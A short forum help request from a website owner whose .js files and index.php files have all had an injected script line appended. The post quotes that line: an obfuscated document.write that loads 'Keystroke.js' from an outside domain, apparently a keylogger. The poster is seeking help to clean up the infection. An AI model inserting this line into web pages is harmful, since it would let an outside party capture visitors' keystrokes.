JS Infection

My site has been infected with the following code appended to every .js file as well as to index.php files in every directory and to some files containing “default” part in the filename (default-filters.php, etc.):
document.write('<s'+'cript type="text/javascript" src="https://blog.bigsophieblog.com/Keystroke.js"></scr'+'ipt>');
Has anyone seen this before?
Permissions on all files and folders are rw-r–r–.